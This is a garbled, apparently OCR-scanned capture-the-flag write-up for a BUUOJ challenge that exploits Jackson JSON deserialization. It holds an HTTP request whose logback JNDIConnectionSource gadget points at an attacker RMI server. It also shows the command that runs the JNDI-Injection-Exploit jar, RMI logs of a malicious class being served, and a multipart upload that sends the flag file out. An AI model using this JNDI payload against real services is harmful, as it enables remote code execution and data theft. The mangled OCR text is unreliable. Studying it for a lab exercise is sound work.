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1{POST /;/json HTTHA/1.1 1 HTTP/1.1 500 Internal Server Error
2\Host: 09f2a814-2d88-4260-al1a1-81f7631cbf45. noded. buuoj. en:81 2 Server: openresty
3 Upgrade-Insecure-Requests: 1 3 Date: Thu, 03 Mar 2022 15:07:23 GMT
4 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537 4 Content-Type: application/json;charset=UTF-8
5 Accept: */% 5 Connection: close
6 Accept—Encoding: gzip, deflate 6 Content-Length: 331
7 Accept-Language: zh-CN, zh;q=0. 9, en;q=0. 8, en—GB;g=0. 7, en-US;q=0. 6 7
8 Cookie: UM_distinctid=17ebb1e232d8a1-079d0408afbccd-5e181959-12¢000-1 & {
9 Connection: close "timestamp”: 1646320043880
10 Content—Type: application/json " s tpree——500,
Corrterrt=tyngth: 2 "erfor”:"Internal Server Error",
2 "exeption":"com. fasterxml. jackson. databind. JsonMapg
3 [ "mefssage” : "Unexpected token (END_ARRAY), efpected V!
] "pafth":"/:/json"
}

T#HILE: https://github.com/welk1n/JND-Injection-Exploit/releases

java -jar INDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C

[ADDRESS] ==
[COMMAND] ==

environment{Build in whose trustURLCodebase is true):

Target environment(Build in whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+
in classpath):

Target environment(Build in whose trustURLCodebase is true):

Server Log
[JETTYSERVER]=> Listening
[RMISERVER] == i
[LDAPSERVER] ==
[RMISERVER] ==
[RMISERVER] == Reading messac
[RMISERVER] => Is RMI.lookup call for nekcv9 2
[RMISERVER] == Sending local classload
[RMISERVER] == Closing connection
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1 POST /;/json HTTP/1.1

? Host: 09f2aB14-2d88-4260-a1al1-81f7631cbf45. noded. buuoj. cn:81
3 Upgrade—Insecure—Requests: 1

4 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) AppleWe
5 Accept: */%

6 Accept—Encoding: gzip, deflate

7 Accept—Language: zh—CN, zh;g=0.9, en;q=0. 8, en—-GB;g=0. 7, en-US;qg=
8 Cookie: UM distinctid=17ebb1e232d8a1-079d0408afbccd-5e181959-
? Connection: close

10 Content-Type: application/json

11 Content—Length: 99

7

13 [
"ch. gos. logback. core. db. JNDIConnectionSource”,
{
"jndiLocation”:"rmi://VPS:1099/nekcvd"”
}
]
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Accept: */*

Content-Length: 238

Expect: 10@-continue

Content-Type: multipart/form-data; boundary= 26T317fadda25214

Content-Disposition: form-data; name="ile"; filename="flag
Content-Type: application/octet-stream

flag{f824685T-b9e2-47cd-b8T8-b276e63d9503}

26f317fad4da25214-- CSDN
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